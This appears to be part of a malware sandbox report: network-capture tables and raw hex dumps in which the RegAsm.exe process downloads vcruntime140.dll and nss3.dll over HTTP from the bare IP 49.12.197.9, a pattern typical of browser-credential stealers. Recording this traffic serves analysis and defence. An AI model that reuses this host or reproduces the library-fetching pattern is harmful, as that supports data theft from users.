2024-10-02 03:19:38 UTC	16384	IN	Data Raw: 85 c0 0f 84 30 07 00 00 83 7b 08 14 0f 84 43 01 00 00 e9 21 07 00 00 3d 50 06 00 00 0f 8f aa 01 00 00 3d 51 05 00 00 74 2d 3d 52 05 00 00 74 12 3d 55 05 00 00 0f 85 0a 07 00 00 c7 47 0c 01 00 00 00 83 7b 04 00 0f 84 ec 06 00 00 83 7b 08 10 0f 85 e2 06 00 00 c7 47 18 10 00 00 00 83 7c 24 24 25 0f 85 fb 07 00 00 6a 11 ff 74 24 30 e8 44 c7 00 00 83 c4 08 85 c0 0f 84 78 09 00 00 89 c7 31 c0 81 3b 51 05 00 00 0f 95 c0 ff 77 1c 8b 4d 20 51 50 ff 73 04 ff 77 18 e8 09 1e ff ff 83 c4 14 8b 4c 24 28 89 41 64 57 e8 a9 c6 00 00 83 c4 04 8b 44 24 28 83 78 64 00 0f 84 bf 08 00 00 83 7d 20 00 b9 60 2a 00 10 ba 20 2a 00 10 0f 44 d1 89 50 74 c7 80 84 00 00 00 e0 29 00 10 e9 eb 08 00 00 3d 09 21 00 00 0f 8e 1c 02 00 00 3d 0a 21 00 00 0f 84 08 02 00 00 3d 0b 21 00 00 0f 84 Data Ascii: 0{C!=P=Qt-=Rt=UG{{G\|$$%jt$0Dx1;QwM QPswL$(AdWD$(xd} `* *DPt)=!=!=!
2024-10-02 03:19:38 UTC	16384	IN	Data Raw: 5e 5f 5b 5d c3 cc cc 55 89 e5 53 57 56 83 ec 10 a1 14 90 03 10 31 e8 89 45 f0 ff 75 08 e8 35 ab 00 00 83 c4 04 85 c0 74 5f 89 c6 8b 78 38 bb 91 00 00 00 85 ff 74 56 83 3f 03 75 51 8b 4d 18 8b 47 04 83 7d 14 00 74 59 8b 5d 0c 85 c0 74 64 89 ce 8b 4d 08 89 da 6a 03 ff 75 10 e8 47 fa ff ff 83 c4 08 89 c3 85 c0 75 24 56 ff 75 14 ff 75 08 e8 72 fd ff ff 83 c4 0c 89 c6 8b 4d f0 31 e9 e8 a3 8b 01 00 89 f0 eb 11 bb b3 00 00 00 8b 4d f0 31 e9 e8 90 8b 01 00 89 d8 83 c4 10 5e 5f 5b 5d c3 85 c0 74 06 83 7f 68 00 74 5a 81 c7 90 00 00 00 eb 55 8b 01 89 45 e8 8b 47 64 89 45 e4 8b 4f 74 ff 15 00 a0 03 10 8d 45 ec ff 75 10 53 ff 75 e8 50 ff 75 14 ff 75 e4 ff d1 83 c4 18 85 c0 74 32 e8 a1 8d 01 00 50 e8 eb 84 00 00 83 c4 04 8b 55 ec 8b 4d 18 89 11 bb 50 01 00 00 3d 50 01 Data Ascii: ^_[]USWV1Eu5t_x8tV?uQMG}tY]tdMjuGu$VuurM1M1^_[]thtZUEGdEOtEuSuPuut2PUMP=P
2024-10-02 03:19:38 UTC	16384	IN	Data Raw: 74 77 8b 75 20 85 f6 7e 7a 8b 7d 1c 83 c7 08 c7 45 d8 00 00 00 00 c7 45 d4 04 00 00 00 eb 18 0f 1f 84 00 00 00 00 00 8b 47 fc 8b 00 89 45 d8 83 c7 0c 83 c6 ff 74 5a 8b 47 f8 85 c0 74 19 3d 61 01 00 00 74 e2 8b 4f fc eb 15 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 8b 4f fc 8b 11 89 55 d4 ff 37 51 50 ff 75 dc e8 8c 53 00 00 83 c4 10 85 c0 74 bd 89 c3 e9 80 01 00 00 bf 02 00 00 00 e9 83 01 00 00 c7 45 d4 04 00 00 00 c7 45 d8 00 00 00 00 8b 45 10 8b 4d 0c 83 ec 1c 0f 28 05 40 fb 02 10 0f 11 44 24 0c 89 44 24 08 89 4c 24 04 8b 45 08 89 04 24 e8 fe 7c ff ff 83 c4 1c 85 c0 74 0c 89 c3 ff 75 dc e8 7d 5a 00 00 eb 3d 8b 7d 18 8b 5d 14 57 e8 8b 4d 01 00 83 c4 04 89 c6 89 7d ec 8d 45 ec 50 56 57 53 ff 75 08 e8 e8 9a ff ff 83 c4 14 85 c0 74 26 89 c3 ff 75 dc e8 47 5a 00 Data Ascii: twu ~z}EEGEtZGt=atOf.OU7QPuStEEEM(@D$D$L$E$\|tu}Z=}]WM}EPVWSut&uGZ
2024-10-02 03:19:38 UTC	16384	IN	Data Raw: 8b 37 ff 75 08 e8 4d 2b 00 00 83 c4 04 85 c0 74 51 8b 48 38 b8 91 00 00 00 85 c9 74 4a 83 39 02 75 45 83 79 04 00 74 3f 8b 55 0c 8b 59 6c 83 c3 08 89 1f 31 c0 85 d2 74 2e b8 50 01 00 00 39 de 72 25 8b 01 89 02 8b 41 70 89 42 04 83 c2 08 ff 71 6c ff 71 64 52 e8 cc 0f 01 00 83 c4 0c 31 c0 eb 05 b8 b3 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 7d 10 a1 14 90 03 10 31 e8 89 45 f0 85 ff 0f 84 2d 01 00 00 8b 5d 0c 8b 33 ff 75 08 e8 b5 2a 00 00 83 c4 04 b9 b3 00 00 00 85 c0 0f 84 12 01 00 00 83 fe 0a 0f 87 f7 00 00 00 b9 78 06 00 00 0f a3 f1 73 12 8d 48 38 eb 1a 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 b9 83 01 00 00 0f a3 f1 73 e4 8d 48 34 8b 09 83 fe 0a 77 2f ba 78 06 00 00 0f a3 f2 73 12 83 c0 38 eb 1a 66 2e 0f 1f 84 Data Ascii: 7uM+tQH8tJ9uEyt?UYl1t.P9r%ApBqlqdR1^_[]USWV}1E-]3u*xsH8f.sH4w/xs8f.
2024-10-02 03:19:38 UTC	16384	IN	Data Raw: 00 40 00 00 5d c3 b8 00 00 08 00 5d c3 cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 ff 75 08 e8 c2 d8 ff ff 83 c4 04 85 c0 0f 84 9c 03 00 00 89 c6 c7 40 24 00 00 00 00 bf 02 00 00 00 83 78 0c 00 0f 88 54 03 00 00 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 8b 46 34 8b 5e 40 8d 4b 01 89 4e 40 50 ff 15 10 7c 03 10 83 c4 04 83 fb 2c 0f 8f 29 03 00 00 6b c3 54 8d 0c 06 83 c1 64 89 4c 06 5c c7 44 06 64 57 43 53 ce c7 44 06 60 04 00 00 00 c7 44 06 58 00 00 00 00 c7 44 06 54 00 00 00 00 0f 57 c0 0f 11 44 06 44 83 7e 0c 00 0f 88 ea 02 00 00 8d 1c 06 83 c3 44 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 69 4b 10 c5 90 c6 6a 8b 86 0c 0f 00 00 83 c0 ff 21 c8 8b 8c 86 10 0f 00 00 89 0b c7 43 04 00 00 00 00 8b 8c 86 10 0f 00 00 85 c9 74 03 89 59 04 89 9c 86 10 0f 00 00 ff 76 34 ff Data Ascii: @]]USWVu@$xTv4{F4^@KN@P\|,)kTdL\DdWCSD`DXDTWDD~Dv4{iKj!CtYv4
2024-10-02 03:19:38 UTC	16384	IN	Data Raw: eb e4 89 c7 eb 02 31 ff 8b 4d f0 31 e9 e8 15 8c 00 00 89 f8 81 c4 3c 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 89 d6 89 cf 8b 5d 08 8b 4b 24 ff 15 00 a0 03 10 ff 75 14 ff 75 10 ff 75 0c 53 ff d1 83 c4 10 85 c0 75 1e 31 c0 39 5e 34 0f 94 c0 89 f9 89 f2 ff 75 14 ff 75 10 ff 75 0c 50 e8 1c 2b 00 00 83 c4 10 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 45 08 8b 0d 14 90 03 10 31 e9 89 4d f0 c7 45 ec 00 00 00 00 85 c0 74 63 8b 75 10 8b 58 34 85 db 74 5d 85 f6 74 5f 8b 4d 0c 8d 45 e8 8d 7d ec 89 f2 50 57 e8 8e 00 00 00 83 c4 08 85 c0 74 60 89 c7 8b 45 ec 89 45 e4 8b 4b 14 ff 15 00 a0 03 10 ff 75 14 56 57 53 8b 5d e4 ff d1 83 c4 10 89 c6 85 db 74 40 57 e8 96 8d 00 00 83 c4 04 ff 75 e8 53 e8 b4 8d 00 00 83 c4 08 eb 29 31 f6 eb Data Ascii: 1M1<^_[]USWV]K$uuuSu19^4uuuP+^_[]USWVE1MEtcuX4t]t_ME}PWt`EEKuVWS]t@WuS)1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49755	49.12.197.9	443	4248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:19:39 UTC	200	OUT	GET /vcruntime140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:19:40 UTC	262	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:19:39 GMT Content-Type: application/octet-stream Content-Length: 80880 Connection: close Last-Modified: Wednesday, 02-Oct-2024 03:19:39 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-10-02 03:19:40 UTC	16122	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"
2024-10-02 03:19:40 UTC	16384	IN	Data Raw: 02 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 03 0f b6 42 03 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 6f 05 00 00 8b 46 04 3b 42 04 74 4f 0f b6 f8 0f b6 42 04 2b f8 75 18 0f b6 7e 05 0f b6 42 05 2b f8 75 0c 0f b6 7e 06 0f b6 42 06 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 07 0f b6 42 07 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 0e 05 00 00 8b 46 08 3b 42 08 74 4f 0f b6 f8 0f b6 42 08 2b f8 75 18 0f b6 7e 09 0f b6 42 09 2b f8 75 0c 0f b6 7e 0a 0f b6 42 0a 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 0b 0f b6 42 0b 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 ad 04 00 00 8b 46 Data Ascii: +t3MNB+t3E3oF;BtOB+u~B+u~B+t3MNB+t3E3F;BtOB+u~B+u~B+t3MNB+t3E3F
2024-10-02 03:19:40 UTC	16384	IN	Data Raw: 00 75 08 8b 45 94 a3 a4 f2 00 10 8d 45 cc 50 e8 39 08 00 00 59 6a 28 8d 4d 80 8b f0 e8 67 f3 ff ff 56 8d 4d f0 51 8b c8 e8 0a f7 ff ff 6a 29 8d 85 70 ff ff ff 50 8d 4d f0 e8 1b f7 ff ff 50 8d 4d f8 e8 78 f7 ff ff 81 7d dc 00 08 00 00 75 1a 8b c3 25 00 07 00 00 3d 00 02 00 00 74 0c 8d 45 98 50 8d 4d f8 e8 55 f7 ff ff a1 98 f2 00 10 c1 e8 13 f7 d0 a8 01 8d 45 cc 50 74 11 e8 92 2e 00 00 59 50 8d 4d f8 e8 34 f7 ff ff eb 0f e8 81 2e 00 00 59 50 8d 4d f8 e8 9f f8 ff ff 8d 45 cc 50 e8 69 23 00 00 59 50 8d 4d f8 e8 10 f7 ff ff a1 98 f2 00 10 c1 e8 08 f7 d0 a8 01 8d 45 cc 50 74 11 e8 30 3e 00 00 59 50 8d 4d f8 e8 ef f6 ff ff eb 0f e8 1f 3e 00 00 59 50 8d 4d f8 e8 5a f8 ff ff 8d 45 cc 50 e8 6a 19 00 00 59 50 8d 4d f8 e8 47 f8 ff ff a1 98 f2 00 10 c1 e8 02 f7 d0 a8 Data Ascii: uEEP9Yj(MgVMQj)pPMPMx}u%=tEPMUEPt.YPM4.YPMEPi#YPMEPt0>YPM>YPMZEPjYPMG
2024-10-02 03:19:40 UTC	16384	IN	Data Raw: 8b d0 81 c9 00 08 00 00 83 e2 18 74 1c 83 fa 08 74 0f 83 fa 10 74 15 b8 ff ff 00 00 e9 f7 01 00 00 81 c9 80 00 00 00 eb 03 83 c9 40 83 e0 06 2b c7 0f 84 df 01 00 00 2b c6 74 1e 2b c6 74 0f 2b c6 75 d4 81 c9 00 04 00 00 e9 c8 01 00 00 81 c9 00 01 00 00 e9 bd 01 00 00 81 c9 00 02 00 00 e9 b2 01 00 00 2b c6 75 af 8d 51 01 89 15 90 f2 00 10 8a 02 3c 30 7c 2a 3c 39 7f 26 0f be c0 83 c2 d1 03 c2 a3 90 f2 00 10 e8 8c fe ff ff 0d 00 00 01 00 e9 81 01 00 00 b8 fe ff 00 00 e9 77 01 00 00 b9 ff ff 00 00 e9 dc 00 00 00 83 f8 2f 0f 8e 63 ff ff ff 8b f2 83 f8 35 7e 62 83 f8 41 0f 85 53 ff ff ff 81 c9 00 90 00 00 e9 b8 00 00 00 b9 fe ff 00 00 4a e9 ad 00 00 00 81 c9 00 98 00 00 e9 a2 00 00 00 83 e8 43 0f 84 94 00 00 00 83 e8 01 0f 84 83 00 00 00 83 e8 01 74 76 83 e8 0d Data Ascii: ttt@++t+t+u+uQ<0\|*<9&w/c5~bASJCtv
2024-10-02 03:19:40 UTC	15606	IN	Data Raw: 4e 54 cf 8f f8 b4 e9 00 40 03 d5 1c 16 4c d1 c1 d6 ae e8 7c cd cc c1 be ea d2 ff 35 4e c0 ce b5 7a ad bb a6 bb 2e dc 94 e9 f3 1e 7d e0 ec 28 a3 07 82 66 5a c3 5b 5a cb ec 03 c9 e3 2c 94 15 21 2b a0 f9 d9 9b 4b e7 b6 de eb 20 51 8c 3e fa 2c 23 d5 18 b0 f0 b1 a0 70 6c 7a ef 8b 83 48 a6 3a 02 06 ef a0 8a 2c b7 88 45 30 82 05 ff 30 82 03 e7 a0 03 02 01 02 02 13 33 00 00 01 51 9e 8d 8f 40 71 a3 0e 41 00 00 00 00 01 51 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 7e 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 28 30 26 06 03 55 04 03 13 1f 4d 69 63 72 Data Ascii: NT@L\|5Nz.}(fZ[Z,!+K Q>,#plzH:,E003Q@qAQ0*H0~10UUS10UWashington10URedmond10UMicrosoft Corporation1(0&UMicr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49756	49.12.197.9	443	4248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:19:40 UTC	192	OUT	GET /nss3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:19:41 UTC	264	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:19:41 GMT Content-Type: application/octet-stream Content-Length: 2046288 Connection: close Last-Modified: Wednesday, 02-Oct-2024 03:19:41 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-10-02 03:19:41 UTC	16120	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@
2024-10-02 03:19:41 UTC	16384	IN	Data Raw: ee 1f 01 f2 6b d2 64 89 c7 29 d7 c1 fb 15 01 f3 89 c2 69 f3 90 01 00 00 29 f0 83 e2 03 66 85 d2 0f 94 c2 66 85 ff 0f 95 c6 20 d6 66 85 c0 0f 94 c0 08 f0 0f b6 c0 8d 04 40 8b 55 f0 0f be 84 82 20 7c 1a 10 89 41 10 8a 41 1a fe c8 0f b6 c0 ba 06 00 00 00 0f 49 d0 88 51 1a e9 f7 fe ff ff 83 c2 e8 89 51 0c 8b 41 10 89 45 f0 8b 71 14 40 89 41 10 66 ff 41 1c 0f b7 41 18 a8 03 0f 94 c3 69 f8 29 5c 00 00 8d 97 1c 05 00 00 66 c1 ca 02 0f b7 d2 81 fa 8f 02 00 00 0f 93 c2 20 da 81 c7 10 05 00 00 66 c1 cf 04 0f b7 ff 81 ff a3 00 00 00 0f 92 c6 08 d6 0f b6 d6 8d 14 52 0f be 94 96 20 7c 1a 10 39 55 f0 7c 26 89 f7 c7 41 10 01 00 00 00 8d 56 01 89 51 14 83 fe 0b 7c 12 c7 41 14 00 00 00 00 40 66 89 41 18 66 c7 41 1c 00 00 8a 41 1a fe c0 31 d2 3c 07 0f b6 c0 0f 4d c2 88 41 Data Ascii: kd)i)ff f@U \|AAIQQAEq@AfAAi)\f fR \|9U\|&AVQ\|A@fAfAA1<MA
2024-10-02 03:19:41 UTC	16384	IN	Data Raw: 68 52 f4 1b 10 51 e8 3d b8 06 00 83 c4 0c 66 83 7f 06 00 74 69 31 db 8b 44 9f 14 be 48 01 1d 10 85 c0 74 02 8b 30 68 d3 fe 1b 10 56 e8 f7 5b 19 00 83 c4 08 85 c0 b8 79 64 1c 10 0f 45 c6 8b 4f 10 0f b6 0c 19 f6 c1 02 ba 98 dc 1c 10 be 48 01 1d 10 0f 44 d6 f6 c1 01 b9 b1 de 1c 10 0f 44 ce 50 52 51 68 7f a0 1b 10 8d 44 24 60 50 e8 d6 b7 06 00 83 c4 14 43 0f b7 47 06 39 c3 72 99 8b 44 24 60 8d 48 01 3b 4c 24 58 0f 83 b7 03 00 00 89 4c 24 60 8b 4c 24 54 c6 04 01 29 eb 25 8b 44 24 04 8b 4c 24 08 8b 44 81 10 0f be 08 8d 54 24 50 51 ff 70 20 68 2c e2 1c 10 52 e8 89 b7 06 00 83 c4 10 f6 44 24 64 07 0f 85 4b 03 00 00 8b 44 24 54 85 c0 74 21 8b 4c 24 60 c6 04 08 00 83 7c 24 5c 00 74 12 f6 44 24 65 04 75 0b 8d 4c 24 50 e8 d4 68 06 00 eb 04 8b 44 24 54 89 44 24 18 8b Data Ascii: hRQ=fti1DHt0hV[ydEOHDDPRQhD$`PCG9rD$`H;L$XL$`L$T)%D$L$DT$PQp h,RD$dKD$Tt!L$`\|$\tD$euL$PhD$TD$
2024-10-02 03:19:41 UTC	16384	IN	Data Raw: 77 40 a1 08 11 1e 10 40 a3 08 11 1e 10 3b 05 30 11 1e 10 77 26 8b 35 38 11 1e 10 85 f6 74 15 8b 0d 78 e0 1d 10 81 f9 80 c2 12 10 75 7b 56 ff 15 68 cc 1d 10 89 f8 5e 5f 5b 5d c3 a3 30 11 1e 10 eb d3 a3 0c 11 1e 10 eb b9 89 3d 20 11 1e 10 e9 54 ff ff ff 31 ff eb dc 8b 0d 40 e0 1d 10 ff 15 00 40 1e 10 57 ff d1 83 c4 04 eb ca ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 0b ff ff ff 89 f7 c1 ff 1f 29 f1 19 f8 31 d2 39 0d e4 10 1e 10 19 c2 7d 27 c7 05 50 11 1e 10 00 00 00 00 e9 20 ff ff ff 31 ff e9 6d ff ff ff ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 7b ff ff ff c7 05 50 11 1e 10 01 00 00 00 8b 1d 38 11 1e 10 85 db 74 2e 8b 0d 78 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 8b 1d 38 11 1e 10 85 db 74 12 8b 0d 70 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 a1 4c 11 1e Data Ascii: w@@;0w&58txu{Vh^_[]0= T1@@W@V)19}'P 1m@V{P8t.x@S8tp@SL
2024-10-02 03:19:41 UTC	16384	IN	Data Raw: ff ff 8b 44 24 08 8a 40 12 e9 fc fc ff ff 8b 44 24 08 8b 70 44 8b 06 85 c0 0f 84 81 fd ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 67 fd ff ff 8b 44 24 08 8b 70 40 8b 06 85 c0 74 2d 8b 4c 24 08 80 79 0d 00 75 11 8b 48 20 ff 15 00 40 1e 10 6a 01 56 ff d1 83 c4 08 8b 44 24 08 80 78 12 05 74 08 8b 44 24 08 c6 40 12 01 8b 4c 24 08 8a 41 0c 88 41 13 e9 13 fe ff ff 8b 44 24 08 8b 30 8b 4e 1c 85 c9 0f 84 88 fa ff ff 8b 44 24 08 8b b8 ec 00 00 00 ff 15 00 40 1e 10 6a 00 57 56 ff d1 83 c4 0c 89 44 24 0c e9 72 f6 ff ff 8b 4c 24 08 89 81 a0 00 00 00 e9 f7 f9 ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 26 fa ff ff 31 f6 46 e9 d2 fc ff ff 31 db f6 44 24 1c 01 0f 84 40 fe ff ff 68 40 7e 1c 10 68 83 e4 00 00 68 14 Data Ascii: D$@D$pDH@VgD$p@t-L$yuH @jVD$xtD$@L$AAD$0ND$@jWVD$rL$H@V&1F1D$@h@~hh
2024-10-02 03:19:41 UTC	16384	IN	Data Raw: 24 18 89 d8 25 ff ff ff 7f 89 44 24 1c 85 f6 7e 6f 8b 7d 0c 89 54 24 04 8b 0d 30 e4 1d 10 8b 45 08 8b 40 08 89 04 24 ff 15 00 40 1e 10 8d 44 24 10 50 8d 44 24 10 50 56 57 ff 74 24 10 ff d1 85 c0 0f 84 92 00 00 00 8b 44 24 0c 85 c0 8b 54 24 04 74 42 29 c6 72 3e 01 c2 83 d3 00 89 54 24 18 89 d9 81 e1 ff ff ff 7f 89 4c 24 1c 01 c7 85 f6 7f a2 8b 44 24 24 85 c0 0f 85 92 00 00 00 31 ff 8b 4c 24 28 31 e9 e8 9d 64 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 8b 0d 8c e2 1d 10 ff 15 00 40 1e 10 ff d1 89 c2 8b 45 08 89 50 14 83 fa 70 74 05 83 fa 27 75 3f bf 0d 00 00 00 b9 0d 00 00 00 68 ee b2 00 00 8b 45 08 ff 70 1c 68 65 8a 1c 10 e8 c4 1e 14 00 83 c4 0c eb a7 8d 4c 24 24 8d 54 24 08 e8 12 20 14 00 85 c0 0f 85 2a ff ff ff 8b 54 24 08 eb b1 bf 0a 03 00 00 b9 0a 03 00 00 68 Data Ascii: $%D$~o}T$0E@$@D$PD$PVWt$D$T$tB)r>T$L$D$$1L$(1de^_[]@EPpt'u?hEpheL$$T$ *T$h
2024-10-02 03:19:41 UTC	16384	IN	Data Raw: 46 64 8b 0c 38 e8 8e f3 ff ff 43 83 c7 30 3b 5e 68 7c ec 8b 44 24 0c 89 46 68 83 7c 24 04 01 75 72 8b 56 64 8d 1c 40 c1 e3 04 83 7c 1a 1c 00 74 4b 8b 4e 48 8b 01 85 c0 74 42 3d 58 00 1a 10 75 34 8b 86 a8 00 00 00 8b be ac 00 00 00 83 c0 04 83 d7 00 89 74 24 04 89 d6 8b 54 1a 18 0f af fa f7 e2 01 fa 52 50 51 e8 8c 45 12 00 89 f2 8b 74 24 10 83 c4 0c 8b 44 1a 18 89 46 38 31 ff 8b 4c 24 30 31 e9 e8 9f 24 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 89 74 24 04 8b 86 e8 00 00 00 89 44 24 08 85 c0 0f 84 88 01 00 00 83 7c 24 0c 00 0f 84 ac 00 00 00 8b 44 24 04 8b 70 64 85 f6 0f 84 9d 00 00 00 8b 44 24 0c 48 8d 3c 40 c1 e7 04 8b 44 3e 14 89 44 24 0c b9 00 02 00 00 31 d2 e8 56 3e ff ff 89 44 24 18 85 c0 0f 84 ce 02 00 00 8d 04 3e 89 44 24 14 8d 04 3e 83 c0 14 89 44 24 08 Data Ascii: Fd8C0;^h\|D$Fh\|$urVd@\|tKNHtB=Xu4t$TRPQEt$DF81L$01$e^_[]t$D$\|$D$pdD$H<@D>D$1V>D$>D$>D$
2024-10-02 03:19:41 UTC	16384	IN	Data Raw: e9 e7 00 00 00 8b 99 4c 01 00 00 85 db 0f 85 82 00 00 00 8b 99 48 01 00 00 85 db 75 6b 8b 99 44 01 00 00 85 db 75 7b ff 81 40 01 00 00 8a 5d f3 88 d8 50 e8 d0 ca 11 00 83 c4 04 89 c3 85 c0 0f 84 a7 00 00 00 57 ff 75 e4 53 e8 0f 1c 18 00 83 c4 0c c6 04 3b 00 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c 89 18 0f b6 0b 80 b9 7a f8 19 10 00 78 4a 8b 4d e8 80 b9 d0 00 00 00 02 0f 83 83 00 00 00 83 c4 10 5e 5f 5b 5d c3 8b 03 89 81 48 01 00 00 e9 50 ff ff ff 8b 03 89 81 4c 01 00 00 e9 43 ff ff ff 8b 03 89 81 44 01 00 00 e9 36 ff ff ff ff 81 3c 01 00 00 e9 73 ff ff ff 80 f9 5b 0f b6 c9 ba 5d 00 00 00 0f 45 d1 89 55 ec 31 f6 46 89 df 8a 0c 33 3a 4d ec 74 06 88 0f 46 47 eb f2 8b 4d ec 38 4c 33 01 74 2d c6 07 00 eb 84 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c c7 00 00 00 00 00 e9 Data Ascii: LHukDu{@]PWuS;MzxJM^_[]HPLCD6<s[]EU1F3:MtFGM8L3t-M
2024-10-02 03:19:41 UTC	16384	IN	Data Raw: 89 59 18 e8 60 50 fe ff 31 c0 39 46 24 0f 84 b8 f6 ff ff 8b 57 10 85 d2 74 09 8b 4c 24 20 e8 75 c2 ff ff 8b 7c 24 0c c7 47 10 00 00 00 00 e9 98 f6 ff ff 8b 06 89 81 44 01 00 00 e9 e3 f9 ff ff ff 81 3c 01 00 00 e9 80 fc ff ff 8b 44 24 14 80 b8 d0 00 00 00 00 0f 85 f3 fb ff ff 8b 44 24 20 8b 40 10 8b 4c 38 0c 83 79 48 00 0f 85 de fb ff ff ff 34 38 68 b4 e0 1c 10 ff 74 24 1c e8 06 09 00 00 83 c4 0c e9 c5 fb ff ff 8b 4c 24 1c e9 ae fd ff ff 8a 80 08 f7 19 10 3a 83 08 f7 19 10 0f 84 02 fa ff ff e9 c9 f9 ff ff 8b 44 24 20 80 b8 b1 00 00 00 00 0f 84 47 04 00 00 68 48 01 1d 10 ff 74 24 18 e8 5f 2a 01 00 83 c4 08 e9 33 f7 ff ff 8b 44 24 0c 80 48 1e 01 66 83 78 22 00 0f 8e a5 f5 ff ff 31 c9 b8 0e 00 00 00 8b 54 24 0c 8b 52 04 8b 74 02 f6 89 f7 c1 ef 04 83 e7 0f 83 Data Ascii: Y`P19F$WtL$ u\|$GD<D$D$ @L8yH48ht$L$:D$ GhHt$_*3D$Hfx"1T$Rt
